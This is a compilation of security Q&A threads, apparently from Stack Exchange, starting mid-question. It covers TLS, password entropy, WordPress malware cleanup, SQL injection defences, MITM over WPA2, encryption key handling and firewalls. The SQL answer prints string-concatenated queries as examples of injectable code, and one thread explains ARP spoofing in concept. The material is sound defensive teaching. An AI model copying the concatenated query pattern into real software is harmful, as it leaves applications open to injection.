On a whim(and after attempting every variation of SSL3.0/TLS1.0/TLS1.1/TLS1.2 options) I tried the chrome workaround and it again worked consistently. My notes from this incident:

Launch google chrome
Go to https://www.my.af.mil/
Login with the users CAC
Launch Internet Explorer
Now all *.af.mil sites will be accessible as Chrome has created the TLS connection required and IE can piggyback off of this.

I've been using this for a long time but it's never occurred to me why/how this works. I made the assumption that the TLS session was essentially generated by Chrome and then IE piggy backed off of it. I found this answer: Is encryption in HTTPS done by the browser or by the system? which mentions that IE uses an OS API for it, which in my mind kind of supports this  theory:

  If you specify https://, then the browser is taking responsibility for encryption. Some browsers use OS-provided APIs (looking at IE here)

This post on the other hand seems to indicate the exact opposite:
Are SSL browser sessions kept alive across requests?

  HTTP sessions and SSL sessions are different entities and there is no mapping from one to the other.

Again, I might be completely incorrect about this theory, I'm just hoping someone can explain what the true cause of this is so I can better understand what I'm implementing.

I have no access to this infrastructure so I have no way to reproduce your problem. Therefore I can only guess:   If I understand you correctly you need to login into a specific website (www.my.af.mil) to get access to all the other *.af.mil sites. My guess is that this is done by white-listing your specific system (maybe by IP address, maybe by NTLM token) on successful login. This would explain why you can access the sites with Internet Explorer too after successful login with Chrome since you are still connecting from the same system.    It definitely does not share the SSL session between browsers - it does not even share the SSL session between the different *.af.mil sites.

As for the failure to access the login site with Internet Explorer: there is probably some incompatibility of the login site or some middlebox which is in the path to the login site. There are not enough details to find out what exactly this is.

In any case I'm wondering why you ask about the problem here. I would imagine that the proper way would be to report the problem to the system administration responsible for this access instead of trying to work around the issue. Given that you did not include any statements from the system administration I can only guess that you not even tried to let them handle the problem.


Malicious tracking script being served from google server to circumvent block lists I've found some bad JS that tries to open pop-unders and even deliver a likely malicious SWF file for a flash exploit.

Thing is, its stored on a google server in a directory it really shouldnt be. This allowed it to evade my block list.

Is there some way I can inform google about this? Can anybody with more experience tell me if I should do that?

It is served from storage.googleapis.com (https) in a directory for the prototype library. That, to me, seems not good. I have the JS code if anybody wants to see it, its really long so I dont want to put it here.

Firstly, you should establish whether it actually is malicious (or can be exploited maliciously by third parties).

Google has a dedicated page for reporting bugs, vulnerabilities, fraud and malware. There is more information on Google's security philosophy page.

I don't see a reason why you shouldn't inform them of this. However, before you do so, you should double check that it is not just an issue with your computer (i.e. local malware injecting content into your browser pages) and that it is reproducible.


Security concept for Android app with PHP based REST API I'm trying to build my own PHP based REST Api for my Android app and I'm a litte bit confused by all the different user authentication stuff one can find on the internet. So I want to present my security considerations and would be glad about some feedback.

First, I want to make clear that I don't want to build a public API where 3rd parties could register for an API key, instead I want only be able for users of my app to do all the register/login/sending requests stuff. So my plans are as follows:

When a user wants to register, my app first exchanges generated keys with my server using the Diffie-Hellman method. For this, my server and my app store information about the same prime number and the same base (often called p and g). My app then generates a secret and creates a public key out of p, g and the secret. The public key is send to the server, which answers with sending back a user id in the Java UUID format and the server's public key based on the server's secret, p, and g. At the end, both parties are able to generate a common secret. The whole transaction is done using TSL/SSL and can be seen here. Instead of the whole numeric, pretty long secret, a SHA-512 hash is stored in the database and the app.
After exchanging the key, I can now send the user's account information (userid, password and other stuff) to the server using TSL/SSL. The app's secret is used for HMAC making sure that the app instance (the user) is authorized to send me this stuff. I can check this as I stored the SHA-512 hashed secret and the userid in the database. The password needs to be transmitted to be able to re-login if the user logged out or for wants to change his password. The password is hashed follwowing these instructions. After logging in, a random login token is returned to the user representing his logged in state. This login token is also stored in the database.
Instead of sending the user's credentials with every request, the login token is used as login credentials and the secret generated in the first step is used to do HMAC. So if I get a request, I can first check if the user is authorized to sent me a request by doing the message authentication with HMAC and then I can check if the user is logged in comparing the transmitted login token with the one stored in the database. This transaction may also be done with TSL/SSL but doesn't need to.

Is this a valid concept or does it lack of some crucial points, contains misunderstandings or is there any other kind of problem with it?

This proposed security system is vulnerable to CWE-602: Client-Side enforcement of server-side security, and does not limit an attacker's ability to access this RESTful API. Fundamentally,  any secret provided to the mobile app will be known by the attacker.  An attacker with a jail-broken phone can observe memory used by any running process.

It must be assumed that an attacker will have full access to your API.  Any functionality provided to the client is by definition attacker-accessible, and must undergo a security review. A good place to start is look for issues found on the OWASP top 10.


Should I vary the length of my completely-random passwords for the best security? I use LastPass comprehensively, and for each new site/password I almost always have it generate a random password of the same number of characters, allowing letters, numbers, and symbols (except when prevented by password forms that disallow that length or certain symbols). Today, it occurred to me that using the same password length everywhere could itself be an issue.

Let's say a malicious agent owns a site that I have registered at, and has kept the original password. Just seeing the password would make it obvious that I'm probably using a random one. But if that site maliciously wished to target other accounts I may own, and he guesses that I generally used passwords of the same length, he might have a leg up on brute-forcing my password at other sites. Therefore, would my using a variety of lengths yield appreciably more security than using just one length?

It's convenient to not change the number of characters that LastPass generates. And most sites do have a limit on the number of characters which is lower than I'd like. I also don't want to just add more characters for no reason, because occasionally I do have to type one of these passwords on my mobile phone. The other day when a site said the password length limit was 60, intrigued, I created a 60-character random password, But later, I had to type this password on my phone and while I did it correctly on the first try, it was a lengthy and painful process.

It occurs to me that just adding some number of characters to my typical length will probably provide all the extra entropy needed to remove any weakness from an attacker knowing I use the same length anywhere. But I'd be interested for some knowledgeable people to comment on this.

How many extra digits need I use so that my passwords are as secure as using a variable number of characters? For example, if I were using 15 characters all the time, how many more characters would I have to add to have the same entropy as if I normally randomly used 10-15 characters? Though, the security of 10 characters feels too low in the first place, and always using 15 seems safer. So I'm conflicted.

What's a reasonable way to look at this? Should I:

Use different lengths at different sites
Increase my characters (I don't use 15, but some other number)
Or just don't worry about it as long as my length is sufficient (and what length would you say is sufficient to be theoretically uncrackable* for the next 20 years)?

For what it's worth the full character set LastPass uses is 70 characters: A-Za-z0-9!#^&$@*%.

Re: uncrackable: I realize the crackability of a site is not just dependent on the password itself, but also on the site's security practices such as means of storage, whether it keeps the original password or a hash, the particular hash algorithm and its number of bits, whether the attacker has gained access to the hash, whether the hash is salted and the attacker knows the salt, whether the site rate-limits or locks accounts after experiencing apparently hostile attack behavior, and so on and so forth including the vigilance and knowledge of its employees to resist social engineering and all the rest of that jazz. This question, instead, is merely about the scenario where the only attack vector is to try every possible password and see if the site accepts it.

Therefore, would my using a variety of lengths yield appreciably more security than using just one length?

No, the only thing it will accomplish is to make the shorter ones weaker.

For why hiding your password length doesn't matter, see this question (disclaimer, the accepted answer is mine):

How critical is it to keep your password length secret?

Thought experiment: how long a password is physically uncrackable? Well, the sun contains roughly 1.2x1044 Joules of nuclear fuel. Let's assume we had a magic register of bits that required only 1 eV to flip a bit (1 electron volt = 1.602×10−19 Joules). It turns out that with a register of 208 bits, counting from 0 to 2208 would require you to consume the energy equivalent of the sun. So, assuming you're making passwords using the 95 printable ASCII characters, then consuming the sun would crack you a 208 bit ~= 32 character password.

How "magical" is this register? Well according to Table 1 (p. 6) of this paper:

An Accurate Instruction-Level Energy Consumption Model for Embedded RISC Processors

one ARM assembly instruction (ADD, SUB, XOR, ...) consumes about 300 pJ ~= 3.0x10-10 Joules ~= 1.8x109 eV per instruction on a low-power embedded device. Given this efficiency, consuming the sun would crack you a 28 character password.

If you're using randomly-generated passwords, then I don't see any reason that anybody should ever use more than 32 chars, but you can probably get away with a lot less against attackers who don't have a sun to spend cracking your password.


Malicious php scripts in word press theme folder? I am running a server on Ubuntu 10.04 running a word press website, and recently a virus scan revealed that I have several malicious scripts sitting in the word press folder. In particular they are in the cache and temp folder of a theme that I'm currently using.

I opened them with VIM and read through them, they are certainly bots and spamware, one of them is even called c99 injecktor. I am very interested in how these scripts can be injected into these folders, and what actions I should take upon discovering them. Should I simply delete them?

Also, is the injection caused by security flaw of word press, or should I be worry about anything else other than getting a more up-to-date version of word press in my new server?

You were most likely compromised through a vulnerable installation or theme, probably through something that is now known and fixed.

First, once you've been compromised a little, it's best to assume you've been compromised a lot and start fresh. Read up on the answers to this question: My server's been hacked EMERGENCY

Second, besides updating to the latest versions, you can take extra steps to help prevent damage when some part of your Wordpress install has a vulnerability. Read up on more from this question:
How can I protect a WordPress installation?


Does any database let you disable non-parameterized queries and therefore disable SQL injection? Is there a database that allows this already?

If not, here is how I think it could be done. I think it would require modifying the database software and the driver or code that is assembling the SQL query. I believe this is sometimes done by the database itself and sometimes by the driver.

A setting like 'Only Safe Parameters' would be enabled for the database user account used by the web server. If this is enabled then only parameters that are marked safe will be allowed. The network protocol of the database must have the ability for the driver to communicate that the parameters in the query were replaced by the driver safely and not by the calling code.

The user account used by an admin to do queries would not have this feature enabled because we don't use parameterized queries when doing administration.

Would this work? Is there something I'm missing?

There's no DBMS that does that.

The main problem is that there is no way for a database server to tell what parts of an SQL query were generated from user input, so no way to disallow queries that were formed with user input. Once your pieces are added into one string, you can't get it apart to work out what was what any more.

However, what a DBMS could perhaps do is observe that the majority of SQL injection flaws are in the form of literal values:

"SELECT * FROM things WHERE id='"+id+"'"

and ban this by disallowing literals (at least strings and ints) from queries. This would be a bit inconvenient in that you would no longer be able to write queries with static literals in:

"SELECT * FROM things WHERE id=? AND active=1", id

instead you would have to use a parameter for everything:

"SELECT * FROM things WHERE id=? AND active=?", id, 1

This would definitely be an interesting feature for a DBMS to introduce as an option. However, it still would not catch user input used for other purposes, for example column names:

"SELECT * FROM things ORDER BY "+sortcolumn

which happens more often than one would like.

  The network protocol of the database must have the ability for the driver to communicate that the parameters in the query were replaced by the driver safely and not by the calling code.

Or, better, use a protocol that passes parameters separately to the body of the query. Some DBMSs and data access layers do this, some don't.


Apache ModSecurity for HTTPS traffic? I have installed Apache 2.4.7 with Drupal HTTPS site using Let's Encrypt cert. Mod_security is sucessfully installed, but is it able to defend against attacks, since the site is HTTPS?

I tried testing it for the simple SQLi, but it didnt trigger any events.

Configure the ModSecurity box as a reverse proxy, terminate the HTTPS connections on this box and then ModSecurity will be able to inspect. Once the traffic is inspected, you can forward it to the appropriate back-end server. You can follow the guide Setting up a reverse proxy server. The site has some excellent other ModSecurity resources as well written by Christian Folini who is the ModSecurity developer and current lead.


Who signs off a PCI-DSS SAQ? PCI-DSS SAQ A is supposed to be signed off by the "Merchant Executive Officer". Who is that?

NOTE : not a QSA, but do have some PCI experience

The merchant executive officer is the officer of the company that has responsibility for compliance/regulatory matters.  This is often the Chief Financial Officer, but could be a Chief Security Officer, Chief Technology Officer, even the Chief Executive Officer or Chief Operating Officer.

Who it is depends on the company, but it is likely the "C" level executive to whom the people who handle compliance, certification and regulatory matters reports to.


What makes linux systems more appropriate for pen testing? Something I've often wondered; typically, serious pen testing tutorials go hand in hand with recommendations of linux-based tools (kali for example). Linux, generally, seems like the favoured choice for certain 'trades', pen-testing being one of them.

What, specifically, does a linux/unix OS provide that Windows doesn't? Linux feels a lot more 'low-level' and a lot less UI, if that makes sense. Is this one of the benefits?

Pen testing means interfering with multiple different components of a remote system, working at different levels of abstraction - crafting a customized single network packet, or sending a specific series of interactions via HTTPS while capturing/replaying cookies.

Further, each case is slightly different - you are constructing attack tools out of the available primitives as you go. This is how Unix works - its a bag of tools which allow a competent person to solve problems. Unix is an IDE (integrated development environment).

MSWindows on the other hand is a platform for running programs. There's little economic justification for third parties to build the granular tools which are so common on Unix systems that we think of them as part of the OS. Its only really practical to make money by building "solutions".

A really important consideration for doing pen-testing is that you need to be able to protect your system against the munitions you are deploying and potentially against counter measures. Unix has always been a multi-user system and the concepts of permissions and privilege seperation run deep in its design. Historically there has been a lot less malware targetting Unix than MSWindows.

Linux distinguishes itself from other versions of Unix by being open-source, well-supported and running on cheap hardware. Most of which could also be said about BSD - but typically Linux is delivered in a more user friendly package.


KeePass security local malware Can a malware that infected your local computer compromise a KeePass database stored locally in any way?

If yes, what's the point for KeePass to have such strong security mechanisms if it cannot resist to this scenario? If you keep your DB locally, isn't this scenario the main threat that exists?

Yes - if the malware included a keylogger, for example, it could simply read the master password when you typed it in. The only real way to prevent that would be to have KeePass be the only software running, on a verified secure computer (e.g. no hardware keyloggers, no VMs, etc.) which would somewhat defeat the purpose of having passwords to hand.

However, the same malware would also be able to read the master password for a cloud based database, when you opened it. It's not specific to local database files. In fact, it could take a less invasive piece of malware to do that - if you've installed a dodgy browser extension and view your passwords through a web site, it would be able to see what you typed in the browser, but (probably) not what you typed into any other program.

If you're using a system which has malware on, assume it can do anything you can do - if you can read a file, so can the malware. If you can contact a specific server, so can the malware. If you can disable your AV software, so can the malware. It might need to get details off you in order to do it (e.g. passwords), but the key is to avoid getting it on the system, rather than trying to ensure that every single piece of software detects the presence of it.


What possible security flaws might sit behind this Pokerstars' password update message? I tried to update my Pokerstars' account password today and I was presented with the following error:

My question is, what security vulnerabilities might be behind the "Your password must start with a letter" and "may not start with the letters 'tmp'".

I assume this is due to some sort of hacky way to check for temporary (not yet activated) accounts on their side? If so, does it mean they're storing it in plain-text? Am I missing something here?

While a definitive answer can only come from the origin of the message and the restrictions, there are some points to make.

The general idea of restricting passwords in such a way (especially with the tmp-part) suggests something is not as it is supposed to be and hinting at plain text passwords. Yet for the benefit of the doubt, they might use a special hashing scheme that hashes the first three characters of the password separately, allowing them to check for temporary assigned passwords.

This might pose a threat, depending on what comes after the tmp part: if thats just 5 numbers, the search space for enumeration on such passwords is tiny, for example.

In any case, this restriction hints at them using passwords to store information that does not belong there (but in a separate field in the database) - and while it doesn't have to pose a threat by itself, deploying such techniques is generally a sign for bad software engineering.

This by itself can pose a threat: Bad software developers are more likely to make mistakes on many levels that only wait to be found and exploited.

Whatever might be the reason for them to deploy this restriction, it is a sign of bad programming and/or bad software or database engineering and thus a sign of danger; you should use a disposable, strong password and basically consider the account compromised to be on the safe side.


Symmetric Encryption: Key + IV: What to do with the IV? In implementing block-ciphers, I've had to calculate the initialization vector and have been stuffing those IV-bytes onto the first few bytes of the encrypted file (to be read in on the decryption process).

Should I be doing something different with the IV?  Is there another strategy I should be employing?

Either prepending or appending the IV is standard practice. The IV needs to be unique (with a given key) and for some cipher modes also needs to be unpredictable, but it does not need to be secret; sending it in plain text alongside the ciphertext is fine. If you don't have a handy way to separate the IV and ciphertext in your transmission/storage system, just putting it either before or after the ciphertext is fine as long as the recipient knows where to expect the IV to be and how long it will be.

I'm a little concerned by the mention of "calculating" the IV, though. The IV should be the output of a secure random number generator, nothing more. While there might be calculation involved in the RNG, to you it should be a black box that spits out numbers suitable for use as symmetric keys or IVs.


Is connecting to the Internet directly (without a hardware firewall) risky? I use Ubuntu with ufw enabled. I connect to the Internet directly without a firewall. Are there any risks ?

Everything is risky, the question is, how risky. IT security is mainly about the effective estimation of the risks and costs and manage them.

The main fun in it is that the costs are so or so estimatable, but the risks can't. If you would know, how can your system be attacked, you could (in most cases) easily close the hole. This makes IT security more like an art.

In my opininon, your system is okay for ordinary home PC usage for common circumstances, i.e. turning your PC off and then running to the nearest hw store for a needless router would be an over-reaction.

Watch for that your firewall has a negative list (most ideal if only outgoing connections are allowed, or by default all incoming is denied, except the few what you allow). Furthermore, check that you have some DNS spoofing protection.


Establishing routines on what to do if a PC gets stolen I need to establish routines for how to handle theft of PC equipment, specifically laptops and stationary machines. Also I need to figure out how to make the consequences of stolen equipment minimal.

Currently there is no such thing as encrypted harddrives, startup password (except windows login) or similar protection that would prevent someone from accessing the data on the machine.

We definitely need some sort of encryption on the harddrive to prevent loss of data!

Does anyone have any recommendations or willing to share their own routines regarding this?

From personal experience:

Key prerequisite is an effective asset register. Otherwise you wont even know if it is one of your laptops / pc's that is missing or that turns up on the front page of the daily mail (well ok they may help in letting you know it was your device!).
Secondly - Establish a clear requirement and ability for your staff to inform you that a device has gone missing. Problem here will be if they then believe that HR will be involved and lead to sanctions - so be very clear on the users responsibility and that if they have done everything right then it is not a disciplinary issue.
Lastly the big issue will be the lack of full disk encryption. Without this you will have to presume that the data or sensitive information has been compromised and take action on those lines. This could result in your need to contact the information commissioner if personal data is involved.

Basic flow chart for this type of thing:


Implications of hashing to UTF-8 in a cryptographic function I know that most hash functions today use Base64 encoding for their functions, resulting in hashes that use a-Z and 0-9, and, sometimes, other special characters. This results in 62-76ish possible values for each character, so if your hash ends up being say, 70 characters long, there are 70^62 possible combinations.

But what if there was a hashing functioned designed to take advantage of UTF-8? From what I understand there are roughly 100,000 possible values for each character. This means, near as I can tell, that there would be 70^100,000 possible values, which is a lot. Seems like you couldn't make a rainbow table of that.

Also, I know that speed is very important in hashing functions. Would this be inherently slower than a Base64 hashing function?

I know that "bits of entropy" have a lot to do with the security of a password. Does this somehow improve those entropied bits? I'm pretty confused about entropy, to be honest.

Note that I'm not talking about combining a existing function with UTF8. I'm wondering if a whole new cryptographic hashing function was made to take advantage of UTF-8's larger character set, would it be better (at least in theory) than existing functions?

From my reading there seems to be some problems with bits floating around and causing confusion. Would it be possible to work around this, or is it the reason why you can't successfully hash UTF-8 for passwords, as the risk of collision increases  dramatically and unpredictably?

First, Base64 will use, well, 64 different chars (hence the name) to encode binary data. The almost only set of symbols used is this:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

I am not aware of any implementation that uses a different one.

According to Wikipedia, "A hash function is any function that can be used to map digital data of arbitrary size to digital data of fixed size." Basically, you use a hash function to turn an undetermined sized text into a fixed size number.

The data returned from the hashing function is binary, not text. It seems a text because is more useful (and easy) to encode the result in a text representation than to handle a binary one. So they generally (but not always) encode the result before displaying. Generally the hash function will return hexadecimal encoding, not base64.

On PHP, if you execute this:

$a = sha1('some string', true);

It will return the binary data, not the hexadecimal representation.

On Python, you can use sha.digest() to achieve the same: you will get the binary 20-byte representation, not the encoded value.

When you encode your binary data in base64 (or uuencode, or yEnc), you are not changing the data, only the representation. It's just like the relation between one trillion, two hundred and seventy four million, five hundred and two thousand, nine hundred and fifty tree and 1274502953. The encoding does not change the value.

Using UTF-8, UTF-32, Base64 or ASCII will not change anything.


Is it normal to being able to kill a process from outside a container? Situation: on user@host a qemu run and stack inside a container user@container

Is it normal:

to view with ps aux | grep qemu from user@host that the process run on user@container?
to be able to make sudo kill -9 pid of the process in the container user@container from the host user@host?

Yes it is. Docker processes on Linux are sandboxed such that they can't affect the rest of the system, but the rest of the system is free to mess with them however it wants to. They are still running on the same kernel, same file system (even if they can only see a limited portion of it), etc. Docker is not a VM; the processes running within the container are running on the same OS as those outside the container.

Given that, it would be very weird if you couldn't list and kill contained processes (from outside the container, and assuming you have enough privileges). Just like you can list and kill Chrome sandbox processes from a normal-privilege OS shell even though the Chrome sandbox prevents those processes from doing anything, so too can you list and kill Docker contained processes from a normal-privilege shell. Processes in one container are unable to interact with those outside of it, including those in other containers, but un-contained processes have no problem reaching "into" a container.


How do I holistically protect a web service from network and MITM attacks? I have several financial web services that are accessed over HTTPS, however the client devices may be accessing the web services over untrusted WiFi, through questionable proxies, and possibly ToR exit nodes.

Question

How can I protect the Javascript API call, the response, and the user's identity?

Specifically I'm interested in ensuring holistic non-repudiation,  confidentiality, integrity of the end to end connection.

My goal is to make a web service available that can be used from desktop-based websites, and also mobile apps.

TLS / SSL

The bare minimum of security a webservice should have is to be available over a HTTPS connections.  The certificate should be valid (not expired, not self signed).

Ideally the HTTP service is disabled.

Use HTTPSTS headers

The HTTP Strict Transport Security header should be added to ensure that all future requests to that host occur over HTTPS.  This technology helps prevent man in the middle attacks with attack tools such as SSLStrip.

Ensure TLS is correctly configured

Test the server's TLS configuration and resolve any critical warnings as appropriate.

Add cruft to JSON responses

Unparsable cruft is used by Google, Facebook and others to prevent certain javascript attacks.

Set the secure flag on all cookies

Setting the secure flag on all cookies prevents the inadvertent "leaking" of valuable data to would-be attackers.

Set HTTP Only for all authentication cookies

The HTTP Only flag is a misnomer and doesn't mean the cookie will be sent unsecurely, rather it means that the cookie is unavailable to Javascript and only available for consumption by the server.

Lock down usage by IP address

Depending on the target audience, restrict the usage of the service by source IP.

Monitor

Monitor the requests per second, per user, and failures per second, per user.


Is it safe to get html encoded data from database to prevent stored XSS attack? for security purpose now i'm fetching all data from database with htmlEncoded format. it is correct? please help..

This works for data that you display as HTML - but only for some areas of HTML, and this is not best practice.

You want to encode data for the specific context it's being used or displayed - which means you should encode it correctly at the time you are using it or displaying it.  Encoding it as it comes out of the DB not a good practice, you usually don't know how it's eventually going to be used, and it will lead to double encoding or encoding for the wrong context.  You are likely encoding for HTML attributes.  But this data might be used for HTML elements, javascript, URLs or maybe being used in other contexts such as being placed back in the database.

See the OWASP XSS Cheat Sheet for how to encode for various HTML contexts.

It's a common pattern to encode aggressively for HTML as it comes out of the DB, as you're doing here - or another similar pattern is encoding as parameters are pulled out of the servlet context.  It seems more secure, and for legacy apps it can be a way to quickly retrofit code.  But, in complex applications, it can lead to functional issues or poor security.  I've seen several cases where common output functions expect strings to already be encoded, but many of the calls to the functions are from other contexts that pass unencoded strings.

If you do go ahead with "aggressively encoding" you need to very clearly name and document what functions expect encoded vs unencoded strings.


Is there something fishy on Kaspersky Internet Security or I am missing something? Whenever I turn on my computer, a notification pops up - You need to restart you PC (I have added screenshot). I did, but it keeps coming. So went to notification center and saw which application is causing this, it was my antivirus - Kaspersky Internet Security. So I opened the application and there was no restart like notification/message/advice or anything.

One other thing - nowadays when I turn on my PC another mysterious thing happens, it says my security is turned off, although when I click there - it says both are running and even before clicking there, the Kaspersky Internet Security icon is green and keeps flashing there(normally happens when it is functional). I have even checked it on task manager.

Screenshot: Both notification is visible there

N.B.: I have the latest version of Windows too

Checked event-log, searched with different key-words too.

Checked Windows Defender too

Can anyone tell me what is happening?

What should I do?

Reboot and reboot...

I encountered this on Windows 10 in combination with Kaspersky 11.

Other security software may interfere with the functionality and can cause this to happen or updates to actually be up to date but not show so.

A complete reinstall of Kaspersky  usually fixes the problem because at reinstall it also rebuilds the necessary security settings that may otherwise cause interference.

Also, make sure licensing is fine, since if license expires certain functionalities will be suspended.

The core problem though is most likely to be a Windows update. Many times I found them to cause security programs including Kas not to work anymore after update. Having an additional security program like the ones for document encryption only increases the incompatibility of windows updates with everything else security related.


Encryption strategies for multi users access in production systems I am pretty unknown to encryption strategies in production environments. So my concern is to find a solution how to strongly encrypt data, but make it available to multiple users with different keys.

More specific, it is a patient - medical stuff scenario, where patient data is stored encrypted on a server and may only be accessed, hence decrypted, by the patients key or his/hers doctors key or any other authorized entity.

Which concepts are there available? And which are used in production systems, i.e. implemented for databases (like mysql ) or file storage, etc. Which libraries are available (java, c/c++), or which similar concepts are known.

I hope my question was not to unspecific, if yes please ask.

A common way of working for multiple-user access to encrypted data is this, which is a simplified description of a full-disk encryption scenario (a real system might have more levels than described here).

The data itself is encrypted with a content key, Kc.
Kc is stored on the computer n separate times, one per user. Each instance is encrypted by a different user key Ku1...Kun.
Each of the i user keys Kui is derived from the credentials for user i.

What this gets you is that it's easy to change one user's credentials or revoke that user's access without affecting everyone else.

Another way that's available for things like MySQL databases (and is close to how file protection in iOS works) is this:

Data encrypted by the content key.
Content key protected by access key, derived from user credentials.
mysqld is given the access key, and provides all access control to the user data.

In this case you have to be sure that your access control cannot be bypassed.


Suspicious http requests in my logs: *.html/RS=^ I see some strange (suspicious?) http requests in my webserver.

Example:

192.161.x.x - - [14/Mar/2014:21:55:36 -0300] "GET /ce/c02i.html/RS=^ADAD3F3nOTvuESWLtAiP39aTQZiSRQ- HTTP/1.0" 404 881 "http://example.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" "-"

The common pattern seems to be:

A valid html page is requested, but with an extra /RS=^ADA.... string attached, which makes the request invalid
The string following ADA.... (seems to be some hash) varies
The referer seems faked, it's always the true domain (replaced here by 'example.com'), which actually doesn't have links to those html pages.
The requests come from different (unrelated) IPs. Normally this is the single request coming from that IP.
The user agent is always exactly the same as above - fake, I guess.

The only mention I found was not very informative. Is this some known exploit attempt?

It's a drive-by attack against some obscure CMS, and it appears your site doesn't run that CMS, so I wouldn't worry about it. Some bot is just trawling the web and blindly looking for pages that might be exploitable. This is likely why the Google search mentioned in the link you provided points to so many junk/spam pages.


Detect host lookups against a domain/subdomain name I want to detect, with as much accuracy as possible, the IP address of any remote host performing a DNS lookup of my domain name (eg. nslookup mydomain123.com) and any subdomains as well if possible. Assume the host is at least several hops away.

Now I know that DNS is hierarchial and can involve many parties as queries are propagated. Is there any way to configure the domain or dns server in such a way that lookups from a host encourage that host to connect to the dns server directly or otherwise give up its IP address?

I have a hunch it's possible because sometimes I try to lookup the IP of a hostname and it times out, suggesting my host was unable to reach certain nameservers (directly).

Thanks.
This is part of a honeypot proof of concept project I'm cooking up.

Is there any way to configure the domain or dns server in such a way that lookups from a host encourage that host to connect to the dns server directly or otherwise give up its IP address?

That's not how DNS works.

Usually a client only connects to a local DNS server (given by DHCP, by the ISP...) and let this server resolve the full query. This server then might do a full recursive query or might forward the question to another DNS server etc. In typical setups this means that one cannot distinguish between different clients but only between different ISP. Additionally you get requests from other public DNS server like google or OpenDNS. Only few requests will originate from inside other networks or from the clients directly because they use their own recursive DNS resolver.

Apart from that results are cached on all levels of the DNS lookup chain, so you will only detect a part of the lookups because most will be answered by cached responses already.


Youtube/Firefox access to my history I recently noticed something weird. From time to time I watch on YouTube (Firefox) something political. In my case 'lastweektonight'(left) and 'StevenCrowder'(right), (because it is fun to see, where each party lies).
Anyway I noticed, when I watch a video from StevenCroder the next video in line, is always a video from lastweektonight. I think, I made myself look like an undecided voter...

Then it occurred to me, how can they do that, if I do not have an account? I deleted my YouTube browser history, nothing else, and checked again. I clicked on a video from stevencroder and the next video in line was one from stevencroder.
How can they read my browser history?

YouTube uses cookies which helps them track you and suggest videos even if you do not have an account.

But using the "Forget this site" from the History tab, you removed those cookies:

  Using "Forget About This Site" will remove all data stored in Firefox
  from that domain like bookmarks, cookies, passwords, cache, history,
  and exceptions [emphasis mine]

source

So, no, YouTube did not have access to all your history, just your history on YouTube since they stored a cookie. Firefox has always had all your history because it is your browser, but YouTube does not have access to it.


How can bulletproof hosting be feasible? Bulletproof Hosting Providers (BPHS) allow servers containing illegal porn,
malware, organized (cyber)crime, major spam and all this on the WWW?

If Spamhaus can block the entire subnet of such a BPHS why can't the
government? i.e. How can a BPHS combat blocking and tracking?

EDIT:
In light of Trend Micro's paper
I found 3 comprehendible methods there: using multilayered VPS with
Nginx reverse proxy is, I must say, feasible. But I didn't understand these two:
1. How can cloudfare function as a whitelisted proxy for a website?
2. What kind of BPHS can afford to move its operations physically every time they are blacklisted?

Spamhouse can't block subnets at least not a 100% reliable. They can add subnets to their DROP list which can but is not nessecarily followed by every backbone provider. The decission to apply the DROP list is up to the provider.

In most western countries there is a conflict between security and freedom. As a constitutional state they need a legal basis to force someone (Backbone providers in this case) to do something. Implementing a law that provides the ability to censor specific websites or even complete subnets often stands in conflict with the constitution of these states. So its mainly a legal issue and a question of proportionality.


MITM over WPA2 (e.g. with ettercap) I've read on a few sites that it's possible to conduct MITM attacks over WPA2-secured connections. So for example I could replace the content of a site a user tries to access over HTTP. Is this true? If so, how? My understanding is that during the WPA2 handshake the router and the user exchange a secret and use it to encrypt all their communication. Is there simply a bug in the protocol or implementation?

WAP2 only secures the wifi against outsiders. Once you are in the inside, e.g. using the service, your transmission medium is considered trusted, and it is up to the other layers to use other means of security and/or encryption. Or put otherwise, the encryption done at WPA2 only is effective for who is kept outside the network.

Regular spoofing attacks techniques do work over wifi too albeit some professional equipments have mitigations measures.

Wifi gives you a emulation of a cable network connection once you are authenticated. ARP spoofing is done exploiting the way ethernet/layer 2 works. It does not matter which protocol authentication you are using, what it matters is that you are in an emulated ethernet connection for ARP spoofing to work. In an enterprise setting the complication is that broadcasts/ARP spoofing mitigation measures can exist as the equipment has more functionalities, but that got nothing to do with the authentication protocol.

Please also do keep in mind that while wifi is a shared medium, supplementary configurations can be done, like doing 802.1X and having VLANs inside wifi, and so effectively you will only be able to listen/spoof in the VLAN your login is authorised to access.

Far more serious than spoofing, is however if the wifi providers are compromised or bad actors. It is a child´s play to divert your requests via a untrustworthy DNS, and also routinely in wifi/captive web portals DNS requests for the outside are captured and divert to the internal DNSes.

Please see my other post in this thread for related considerations about hijacking browser connections.

Is HTTPS able to prevent ARP poison attack in LAN?

To put it simply, the above considerations are the reason why when you are in public wifis, it is advisable to use VPN technologies to protect yourself.


What is a firewall and its DMZ? My question is in regards to network security.

I understand that there should be a demilitarization zone at the border for your network. It is there where the perimeter firewall should live and other DMZ servers. After which there is another DMZ firewall and then your trusted network.

I guess I am having trouble understanding the core concept of the firewall. Is it an actual piece of hardware? (I have seen both hardware and software online). How do firewalls work in tandem with Active Directory? And what servers live in the DMZ zone? Is there an application where you control firewall controls over the other servers? or is the firewall regulated manually in each server?

I know its a lot of questions, but the concept is still a bit muddy for me. Any and all help would be grateful. Also if there are any articles or websites where this is explained in detail would great. I've done my fair search but since I am not quite sure what to look for I feel like I am going in circles.

Is it an actual piece of hardware? (I have seen both hardware and software online).

as you stated, it can be both.  Windows has a built in firewall ... but there are also hardware devices that are dedicated to the task (usually for larger networks)

  How do firewalls work in tandem with Active Directory?

Um, it doesn't?  Unless I am missing something in your question they are unrelated.  Both can be use for security, but firewall is to protect against network traffic at lower levels through rules and filtering and AD is more for protection against unauthorized access to a specific computer at the application level through use of credentials and permissions.

  what servers live in the DMZ zone?

Servers that host external information and services ... like a web server or email server.

  Is there an application where you control firewall controls over the other servers? or is the firewall regulated manually in each server?

Firewalls can be administered remotely via a GUI or via SSH ... it is also possible for a firewall rule to be automatically created via tools like fail2ban


Patching time based SQL injection? During a third party website audit, I found that the User-Agent header is vulnerable to time based SQLi. Can anyone suggest me how to patch this vulnerability?

A time-based SQL injection is not different from an ordinary SQL injection and neither is fixing it. They vary in how hard they are to attack but the defense remains pretty much the same. It also should not be relevant for the fixing method in which component you found it.

